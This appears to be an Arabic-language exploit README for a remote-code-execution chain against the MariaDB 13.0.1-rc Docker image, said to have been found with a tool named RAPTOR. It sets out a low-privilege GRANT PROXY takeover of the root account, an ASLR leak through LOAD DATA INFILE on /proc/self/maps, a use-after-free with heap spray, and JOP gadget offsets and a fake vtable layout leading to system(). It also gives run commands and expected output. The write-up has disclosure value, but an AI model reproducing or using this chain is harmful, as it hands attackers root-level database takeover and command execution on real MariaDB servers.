
MariaDB 13.0.1-rc معمل RCE — priv-esc + heap UAF + سلسلة JOP إلى system() بصلاحية uid 999 (mysql) على صورة Docker الأصلية. تم اكتشافه باستخدام RAPTOR وraptor-loop-hunt.
تنفيذ كود عن بُعد على صورة MariaDB 13.0.1-rc الرسمية (Docker) غير المعدّلة بصلاحية uid 999 (mysql).
نسختان من الاستغلال:
| النسخة | الملف | المتطلبات | ملاحظات |
|---|---|---|---|
| SQL خالص (موصى به) | exploit_pure_sql.py | حساب MariaDB بصلاحيات منخفضة + TCP | لا وصول للمضيف، لا docker، لا /proc/mem، لا كلمة مرور root |
| PoC بمساعدة المضيف | exploit.py | صلاحية root على مضيف Docker | يكتب سلسلة JOP عبر /proc/<pid>/mem |
تم اختباره وإثباته على: mariadb@sha256:ef34af04bda12e6c85395328af78d562176c34fb29ae52063a4eb0d68fa7b3e9
(4/4 مرات تشغيل، مع قواعد ASLR جديدة في كل مرة).
exploit_pure_sql.py)يمتلك المهاجم فقط:
lowpriv في compose) + كلمة مروره، والسلسلة كاملة تُنفَّذ كعبارات SQL؛ لا وصول إلى عمليات المضيف، ولا أوامر docker، ولا عناوين معروفة مسبقًا. كل عنوان وقت تشغيل يُكتسب من الهدف نفسه عبر SQL:
1. F-09 GRANT PROXY ON CURRENT_USER() TO 'root'@'%' IDENTIFIED VIA ''
-> any user becomes full DBA (root account hijacked, empty password).
One statement, no privileges required.
2. LOAD DATA INFILE '/proc/self/maps' INTO TABLE ...
-> server-side file read (FILE priv, secure_file_priv unset on stock)
leaks PIE base and libc base = real ASLR defeat. The bases change
on every run and are read from the live process.
3. SET @fake = REPEAT(CHAR(0xDE), 134217728) (128 MiB user variable)
-> glibc dedicates a mmap region (0x8001000, data at +0x30).
Its address is discovered by diffing /proc/self/maps before/after
the allocation - from SQL. No /proc/<pid>/mem involved.
4. SET @fake = CONCAT(REPEAT(...), UNHEX('<JOP layout>'), REPEAT(...))
-> the complete JOP chain (D2, D1, system(), command string) is
written by SQL at allocation time. The self-referential pointer
[V+0xa8] = V+0x140 is baked in using the address found in step 3;
glibc reuses the exact same mmap slot when the buffer is
reallocated, so the address stays stable (verified each iteration,
re-baked if ever moved).
5. F-05 SYS_REFCURSOR UAF + heap spray (spray128/grow5/uaf5, stock binary)
-> the freed 1792-byte cursor array is reclaimed with a 1784-byte
blob carrying V at offset 0x20; virtual dispatch
result->prepare() -> D2 -> D1 -> system("sh -c '<cmd>'")
executes the command as uid 999(mysql).
6. Proof: the command writes a marker; server crashes right after system()
returns (mariadbd is PID 1 -> container exits). Restart the container and
read the marker.
أما عمليات غير SQL الوحيدة المتبقية فهي أعمال ما بعد الاستغلال: إعادة تشغيل الحاوية (التي تعطلت بالفعل) وعرض ملف العلامة - وهي ليست جزءًا من الاستغلال.
# start the lab
docker compose up -d
# run the exploit from anywhere with TCP access - no host access needed
python3 exploit_pure_sql.py --host 192.168.1.119 --port 3306 \
--user lowpriv --password lowpriv \
--command "id > /tmp/pwned" --marker /tmp/pwned \
--container mariadb-rce-lab
يتطلب فقط عميل mariadb/mysql وPython 3. --container يُستخدم لعرض العلامة النهائية (إعادة تشغيل + cat) ويمكن حذفه إذا تم التحقق من العلامة بطريقة أخرى.
النهاية المتوقعة للمخرجات:
[*] ============ FIRING (CALL uaf5) ============
[*] session died as expected after RCE: no sentinel within 10s; got: b''
[*] waiting for marker /tmp/pwned ...
[+] /tmp/pwned: uid=999(mysql) gid=999(mysql) groups=999(mysql)
[+] ===========================================
[+] RCE CONFIRMED (pure SQL, lowpriv account)
[+] ===========================================
GRANT PROXY ON ''@'' TO 'root'@'localhost' IDENTIFIED VIA '' يتجاوز كل فحوصات الصلاحيات. جملة المصادقة الفارغة تجعل LEX_USER::has_auth() تُرجع false (متجاوزةً check_alter_user())، بينما ما زالت replace_user_table() تطبّق كلمة المرور الفارغة — لتحل محل بيانات اعتماد root. عبارة SQL واحدة، أي مستخدم مصادَق، كل إصدارات MariaDB المنشورة.
/proc/self/mapsLOAD DATA INFILE '/proc/self/maps' يقرأ التخطيط الكامل لذاكرة عملية mariadbd من داخل SQL، كاشفًا عن عناوين قاعدة PIE وقاعدة libc. يعمل مع secure_file_priv = NULL (غير مضبوط) على الصورة الرسمية.
sp_cursor_array::get_cursor_by_ref() يُعيد مؤشرًا داخليًا إلى Dynamic_array الذي يُنقل تخزينه الخلفي بواسطة my_realloc عند النمو. عندما تشغّل طريقة open() الخاصة بمؤشر SQL يتحكم به المهاجم يفتح مؤشرات إضافية، تنمو المصفوفة، ويُحرَّر التخزين القديم، ويصبح المؤشر المخزَّن لدى المتصل معلقًا (dangling).
الكتلة المحرَّرة (16 مؤشرًا × 112 بايت = 1792 بايت) تُستعاد عبر رشّ الكومة (heap spray) بـ 128 نسخة من متغير مستخدم بحجم 1784 بايت لكل نسخة (تناسب تمامًا كتلة glibc). تضع حمولة الرش مؤشر vtable مُتحكمًا فيه عند الإزاحة 0x20 (العضو result في sp_cursor)، والذي يُستخدم لاحقًا في التوزيع الافتراضي:
Materialized_cursor::open() -> result->prepare()
-> mov rax, [result] ; rax = attacker's vtable pointer (V)
-> call [rax + 0x20] ; calls D2 gadget (prepare() vtable slot)
أداتان (gadgets) من نوع JOP من ثنائي mariadbd الرسمي (بدون ROP، بدون تحويل مكدس):
| الأداة | الإزاحة | التعليمة | الغرض |
|---|---|---|---|
| D2 | PIE+0x80da77 | call *0x100(%rax) | إصلاح محاذاة المكدس |
| D1 | PIE+0xe3075b | mov rdi,[rax+0xa8]; call [rax+0xa0] |
جدول vtable المزوّر V يعيش في المخزن المؤقت 128 MiB؛ تخطيطه:
V+0x20 = D2 (prepare() vtable slot)
V+0xa0 = system() (libc+0x5c560)
V+0xa8 = V+0x140 (pointer to command string -> rdi)
V+0x100 = D1 (JOP dispatcher)
V+0x140 = "sh -c '<cmd>'\0"
مشكلة الدجاجة والبيضة في كتابة بيانات JOP ذات المرجع الذاتي قبل معرفة عنوان المخزن المؤقت تُحل بسلوك glibc في mmap:
/proc/self/maps/proc/self/maps؛ إذا تغير العنوان في أي وقت، يُعاد دمج المرجع الذاتي وتُعاد محاولة الكتابة (يتقارب في تكرار واحد عمليًا)نفس السلسلة، لكن تخطيط JOP يُكتب في العملية عبر /proc/<pid>/mem من مضيف Docker (يتطلب صلاحية root)، ويُعدّ سكربت الحمولة عبر docker exec، ويتصل بكلمة مرور root من ملف compose. أُبقي كإثبات مفهوم تاريخي؛ النسخة الخالصة بـ SQL تجاوزته.
sql/sp_cursor.{cc,h} بين وسم 13.0.1 وHEAD).dbd60d0ad8d, MDEV-40470) موجود في فروع التطوير لكنه غائب عن كل الإصدارات المنشورة (تم التحقق من 13.0.1 حتى 10.6.27).SET GLOBAL max_allowed_packet أولًا ويُستخدم اتصال جديد).DATA_OFF إذا اختلفت يومًا).| الأداة المساعدة القديمة (exploit.py) | البديل بـ SQL خالص |
|---|
docker inspect → PID + /proc/<pid>/maps على جانب المضيف | LOAD DATA INFILE '/proc/self/maps' |
كتابة /proc/<pid>/mem على جانب المضيف لسلسلة JOP | التخطيط مضمّن عبر CONCAT/UNHEX عند التخصيص؛ العنوان من فرق الخرائط المُجرى عبر SQL؛ إعادة استخدام خانة mmap تُبقي المرجع الذاتي صالحًا |
docker exec ... echo CMD > /tmp/payload_cmd.sh | سلسلة الأمر مضمّنة مباشرة في تخطيط JOP |
mariadb -uroot -plabpass (كلمة مرور root) | تصعيد الصلاحيات عبر GRANT PROXY من الحساب منخفض الصلاحية |
docker exec ... cat MARKER | يُستخدم فقط لعرض الإثبات |
| تحميل مؤشر الأمر، استدعاء system() |